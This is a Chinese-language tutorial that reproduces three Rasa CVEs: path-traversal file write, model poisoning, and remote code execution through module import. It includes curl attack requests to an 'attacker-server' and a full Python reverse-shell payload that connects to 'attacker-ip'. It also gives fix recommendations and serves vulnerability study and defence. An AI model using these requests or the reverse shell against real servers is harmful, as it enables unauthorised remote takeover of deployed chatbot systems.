Rasa 漏洞复现与分析教学文档(CVE-2021-42556、CVE-2021-41127、CVE-2024-49375)
本文档基于对 Rasa 3.6.21 版本的漏洞分析,详细阐述三个高危漏洞的原理、审计过程及复现方法。
第一章:Rasa 环境搭建
1.1 基础环境准备
使用 Python 3.10.x,推荐通过 uv 管理虚拟环境:
# 创建虚拟环境
uv venv --python=3.10.20 .venv
# 激活虚拟环境
.venv\Scripts\activate
# 安装指定版本 Rasa
uv pip install "rasa==3.6.21"
# 初始化一个模型
rasa init
# 修改规则后重新训练模型
rasa train
# 启动 CLI 对话
rasa shell
# 启动 Web API 服务(开启 API 并允许跨域)
rasa run --port 5005 --cors "*" --enable-api
1.2 Docker 部署(用于漏洞复现)
编写 docker-compose.yml:
name: rasa-enable-api
services:
rasa:
image: rasa/rasa:3.6.21-full
ports:
- "5005:5005"
volumes:
- "./rasa-app-data/:/app/"
command:
- run
- --enable-api
- --cors
- "*"
- -i
- "0.0.0.0"
- -p
- "5005"
注意事项:需要在 rasa-app-data/ 下的 model 目录中放置一个 .tar.gz 模型文件,否则 Docker 容器启动会失败。
1.3 Rasa 核心架构简介
Rasa 是基于规则 + 机器学习(NLU + Core)的对话系统架构:
- Rasa 主服务:负责自然语言理解(NLU)和对话管理(Dialogue Management),提供 HTTP API 接口(如
/webhooks/rest/webhook) - Action Server:运行自定义 Action(Python 函数),处理业务逻辑
- Duckling 服务:识别时间、数字、金额等结构化实体
第二章:CVE-2021-42556 — 任意文件写入漏洞
2.1 漏洞描述
攻击者可通过向 /model 路由发送特制的 POST 请求,利用模型加载过程中的文件名处理缺陷,将任意文件写入服务器的可写目录。
2.2 代码审计
2.2.1 入口分析
路由定义在 rasa/server.py,PUT 方法映射到 /model:
model_path = request.json.get("model_file", None)
model_server = request.json.get("model_server", None)
remote_storage = request.json.get("remote_storage", None)
其中 model_server 是攻击者可控的参数。
2.2.2 调用链追踪
PUT /model
→ _load_agent()
→ rasa.core.agent.load_agent()
→ load_from_server()
→ _pull_model_and_fingerprint()
2.2.3 关键代码 — 文件保存逻辑
在 _pull_model_and_fingerprint() 函数中:
model_path = Path(model_directory) / resp.headers.get(
"filename", "model.tar.gz"
)
with open(model_path, "wb") as file:
file.write(await resp.read())
漏洞点:文件名直接从响应头的 filename 字段获取,未做任何过滤或路径校验。攻击者可构造 filename: ../../test.py 实现目录穿越,将文件写入任意可写目录。
2.3 复现步骤
2.3.1 搭建恶意服务端
编写恶意服务端脚本 server-1.py,该服务返回包含恶意文件名的响应头:
# server-1.py 核心逻辑
# 响应头设置 filename: ../../test.py
# 响应体为攻击者想要写入的文件内容
2.3.2 发送攻击请求
curl -X PUT http://target:5005/model \
-H "Content-Type: application/json" \
-d '{
"model_server": {
"url": "http://attacker-server:port",
"wait_time_between_pulls": 1
}
}'
2.3.3 验证结果
在 Docker 容器内部查看,test.py 已被成功写入目标目录。
2.4 后续模型加载逻辑(为后续漏洞铺垫)
即使写入文件后返回 400 错误码,文件依然被成功写入。正常流程中,模型文件会被解压到临时目录并加载到 Agent:
_pull_model_and_fingerprint()返回 ETag_update_model_from_server()调用_load_and_set_updated_model()load_model()创建MessageProcessor_load_model()解压.tar.gz到临时目录,加载模型
第三章:CVE-2021-41127 — 恶意模型投毒漏洞
3.1 漏洞描述
Rasa 在加载模型时未对模型内容进行安全校验。攻击者可上传包含恶意对话规则的模型,实现对对话行为的完全控制。
3.2 漏洞原理
Rasa 的训练模型包含意图(intents)、响应(responses)和规则(rules)。攻击者可以构造恶意规则,使模型在收到特定输入时返回任意自定义内容。
3.3 复现步骤
3.3.1 构造恶意训练数据
创建 config.yml、domain.yml、nlu.yml、rules.yml 等文件,包含恶意规则:
# domain.yml
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
# nlu.yml
nlu:
- intent: greet
examples: |
- hello
- hi
# rules.yml
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
3.3.2 训练恶意模型
rasa init
# 替换生成的训练文件为上述恶意内容
rasa train
# 在 models/ 目录下生成恶意 .tar.gz 模型文件
3.3.3 上传恶意模型
使用与 CVE-2021-42556 相同的方式上传模型:
curl -X PUT http://target:5005/model \
-H "Content-Type: application/json" \
-d '{
"model_server": {
"url": "http://attacker-server:port/malicious-model.tar.gz",
"wait_time_between_pulls": 1
}
}'
返回 204 No Content 表示成功。
3.3.4 验证效果
访问对话接口,输入 hello,模型应返回 PWNED_BY_CTF。
curl -X POST http://target:5005/webhooks/rest/webhook \
-H "Content-Type: application/json" \
-d '{"sender": "test", "message": "hello"}'
第四章:CVE-2024-49375 — 远程代码执行漏洞(RCE)
4.1 漏洞描述
该漏洞结合了任意文件写入和 Python 模块导入机制,攻击者通过篡改模型中的 metadata.json,在模型加载时触发恶意 Python 代码的执行。
4.2 模型加载逻辑深度分析
4.2.1 加载入口
MessageProcessor._load_model() 调用 loader.load_predict_graph_runner():
loader.load_predict_graph_runner(
Path(temporary_directory), # 解包后组件存储目录
Path(model_tar), # 上传的模型 tar.gz
LocalModelStorage, # 负责从 tar 初始化模型存储
DaskGraphRunner # 根据 predict_schema 创建可执行预测图
)
4.2.2 解压与元数据读取
LocalModelStorage.from_model_archive() 调用 _extract_archive_to_directory() 解压 tar 包到临时目录,然后读取 metadata.json:
metadata = cls._load_metadata(temporary_directory_path)
_load_metadata() 的实现:
@staticmethod
def _load_metadata(directory: Path) -> Dict:
metadata_path = directory / "metadata.json"
with open(metadata_path, "r") as f:
return json.load(f)
4.2.3 GraphSchema 反序列化
ModelMetadata.from_dict() 调用 GraphSchema.from_dict() 处理模型内的图结构数据。最终调用 importlib.import_module() 动态导入模块:
if "." in module_path:
module_name, _, class_name = module_path.rpartition(".")
m = importlib.import_module(module_name)
例如,若 module_path = "pwnmod.Pwn",则相当于执行 import pwnmod。
4.3 PyPI 供应链攻击原理
Python 的 import 语句在导入模块时会执行模块顶层的所有代码,包括:
- 模块顶层语句(如
print、函数定义) - 类定义语句本身(类体中的代码)
示例:
# pwnmod.py
print("module imported")
def f():
print("f called")
class Pwn:
print("class body running")
@classmethod
def load(cls):
print("load called")
当 import pwnmod 执行时,print("module imported") 和 print("class body running") 都会立即执行。
4.4 完整利用链
- 利用 CVE-2021-42556 写入恶意 Python 模块文件(如
pwnmod.py) - 构造篡改后的模型 tar 包,修改
metadata.json中的module_path指向恶意模块 - 上传恶意模型
- 模型加载时触发
import执行恶意代码
4.5 复现步骤
4.5.1 编写恶意模块
创建 pwnmod.py,包含反弹 Shell 或其他恶意操作:
import os
import socket
import subprocess
# 反弹 Shell 代码
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker-ip", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
4.5.2 篡改模型文件
编写脚本修改正常模型的 metadata.json,将某个组件的 module_path 改为 pwnmod.Pwn。
4.5.3 启动监听服务
攻击机启动 reverse_server.py,用于接收反弹连接。
4.5.4 写入恶意模块
使用 CVE-2021-42556 的方法将 pwnmod.py 写入 Rasa 服务器的 Python 可导入路径。
4.5.5 上传篡改模型
上传包含恶意 metadata.json 的模型 tar 包。
4.5.6 触发代码执行
向 Rasa 发送对话请求,触发模型加载,恶意代码被执行,攻击机收到反弹 Shell。
第五章:漏洞总结与修复建议
5.1 漏洞关系总结
| 漏洞编号 | 漏洞类型 | 利用前提 | 危害等级 |
|---|---|---|---|
| CVE-2021-42556 | 任意文件写入 | 需要网络可达 | 高 |
| CVE-2021-41127 | 模型投毒 | 需配合文件写入 | 中 |
| CVE-2024-49375 | 远程代码执行 | 需配合文件写入 | 严重 |
这三个漏洞可以串联利用:CVE-2021-42556 作为入口写入恶意文件,CVE-2024-49375 实现 RCE,CVE-2021-41127 实现对话劫持。
5.2 修复建议
- 文件名过滤:对
filename响应头进行路径合法性校验,禁止包含..等特殊字符 - 模型签名验证:对加载的模型进行数字签名验证,确保来源可信
- 沙箱执行:在隔离环境中加载模型,限制文件系统和网络访问
- 最小权限原则:Rasa 服务应以低权限用户运行
- 输入验证:对所有用户可控的配置参数进行严格校验
5.3 影响范围
受影响版本:Rasa 3.x 系列(截至 3.6.21 仍未修复)
附录:EXP 资源
完整的利用脚本集合(包含三个 CVE 的 PoC)可参考开源项目:
- 项目名称:Rasa-cve-exp
- 包含:CVE-2024-49375、CVE-2021-42556、CVE-2021-41127 的完整利用代码